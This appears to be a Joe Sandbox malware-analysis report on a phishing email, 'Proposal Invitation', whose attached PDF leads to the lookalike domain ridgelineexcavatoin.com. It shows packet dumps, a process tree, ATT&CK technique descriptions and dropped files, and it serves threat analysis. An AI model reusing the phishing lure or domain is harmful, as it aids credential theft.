2024-04-18 21:05:45 UTC	725	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-18 21:05:45 UTC	1146	IN	Data Raw: 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 34 30 31 2e 36 20 31 37 32 30 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 31 30 37 63 31 30 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 63 34 63 34 63 34 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 Data Ascii: fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity
2024-04-18 21:05:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49800	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:45 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZxUvEM5FEX8LxNm&MD=x58mt9eX HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-18 21:05:46 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: e993546a-7ec3-41bc-a71d-286226031994 MS-RequestId: 8c94c7ee-464a-41c3-9f39-09d935bdf661 MS-CV: /e/TAacvwESr9Xkc.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 18 Apr 2024 21:05:45 GMT Connection: close Content-Length: 25457
2024-04-18 21:05:46 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-18 21:05:46 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49803	35.190.80.1	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:06:31 UTC	560	OUT	OPTIONS /report/v4?s=5mhFaLcGEUKito4YTap6af4M3Sb7i1Ljl5SnWarVBvYPNk1Ok8X5LIcq7abg6IoQORhGy240SrkbvCGHIPq%2FQSeODMINHcuSQmOf28ev9wXf2gpNmv6rH57%2BNFMFN2jm2%2B1CFQ54gz%2Bbxw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://ridgelineexcavatoin.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:06:31 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 18 Apr 2024 21:06:30 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49804	35.190.80.1	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:06:31 UTC	556	OUT	OPTIONS /report/v4?s=Nsg6mtwLSnBeCio9KB4XpLMsGS8dUPsOhrkKvTGGel%2B36enNuIHLN64gNOHQdU2AKt3a8iwKTjNWT8%2FeB8joyjSOvbQZVW90FQ43jc7CABiyGVqnE9PrLHCeOv19vxqGXBCv9nvIQPCvRA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://ridgelineexcavatoin.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:06:31 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 18 Apr 2024 21:06:31 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49805	35.190.80.1	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:06:31 UTC	495	OUT	POST /report/v4?s=5mhFaLcGEUKito4YTap6af4M3Sb7i1Ljl5SnWarVBvYPNk1Ok8X5LIcq7abg6IoQORhGy240SrkbvCGHIPq%2FQSeODMINHcuSQmOf28ev9wXf2gpNmv6rH57%2BNFMFN2jm2%2B1CFQ54gz%2Bbxw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 1934 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:06:31 UTC	1934	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 30 37 31 38 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 34 38 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 72 69 64 67 65 6c 69 6e 65 65 78 63 61 76 61 74 6f 69 6e 2e 63 6f 6d 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 42 50 35 52 78 77 66 7a 4d 59 4a 74 75 6e 6e 53 5f 4d 4b 67 6a 31 56 6f 5a 56 6d 78 79 6d 5a 35 67 35 77 32 37 54 62 6e 4d 69 6f 2d 31 37 31 33 34 37 34 33 33 30 2d 30 2e 30 2e 31 2e 31 2d 31 35 37 38 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 Data Ascii: [{"age":50718,"body":{"elapsed_time":480,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://ridgelineexcavatoin.com/?__cf_chl_tk=BP5RxwfzMYJtunnS_MKgj1VoZVmxymZ5g5w27TbnMio-1713474330-0.0.1.1-1578","sampling_fraction":1.0,"serv
2024-04-18 21:06:31 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 18 Apr 2024 21:06:31 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49806	35.190.80.1	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:06:31 UTC	491	OUT	POST /report/v4?s=Nsg6mtwLSnBeCio9KB4XpLMsGS8dUPsOhrkKvTGGel%2B36enNuIHLN64gNOHQdU2AKt3a8iwKTjNWT8%2FeB8joyjSOvbQZVW90FQ43jc7CABiyGVqnE9PrLHCeOv19vxqGXBCv9nvIQPCvRA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 1067 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:06:31 UTC	1067	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 30 37 33 32 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 34 37 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 32 30 2e 36 37 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 72 69 64 67 65 6c 69 6e 65 65 78 63 61 Data Ascii: [{"age":50732,"body":{"elapsed_time":479,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.20.67","status_code":400,"type":"http.error"},"type":"network-error","url":"https://ridgelineexca
2024-04-18 21:06:32 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 18 Apr 2024 21:06:31 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	23:04:55
Start date:	18/04/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\Proposal Invitation_ Proposal is Due by the EOB May 15.eml"
Imagebase:	0xd20000
File size:	34'446'744 bytes
MD5 hash:	91A5292942864110ED734005B7E005C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	23:04:58
Start date:	18/04/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "E83E2E2F-3C0E-41CF-B558-B807933036CE" "8924B1C6-6665-4B65-867E-5DC3578DA012" "6464" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Imagebase:	0x7ff6e4cb0000
File size:	710'048 bytes
MD5 hash:	EC652BEDD90E089D9406AFED89A8A8BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	23:05:18
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://www.pipebending.com/#/
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	23:05:18
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1940,i,13760317712537378368,5754615531193540325,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	23:05:27
Start date:	18/04/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\B3WU6MDI\Proposal From Benpro.pdf"
Imagebase:	0x7ff722a80000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	23:05:28
Start date:	18/04/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff7fa380000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	23:05:28
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ridgelineexcavatoin.com/
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:05:29
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1828,i,17912482148884077037,9483964587081324458,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:05:29
Start date:	18/04/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1952 --field-trial-handle=1548,i,5454143950614230969,9627112382424457237,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff7fa380000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Proposal Invitation_ Proposal is Due by the EOB May 15.eml

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7f9ab80d-d600-40fc-b24f-d641b2927b2b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF647e51.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fa4762cc-6385-4bba-a9e3-8befccfa0f3e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240418210532Z-160.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

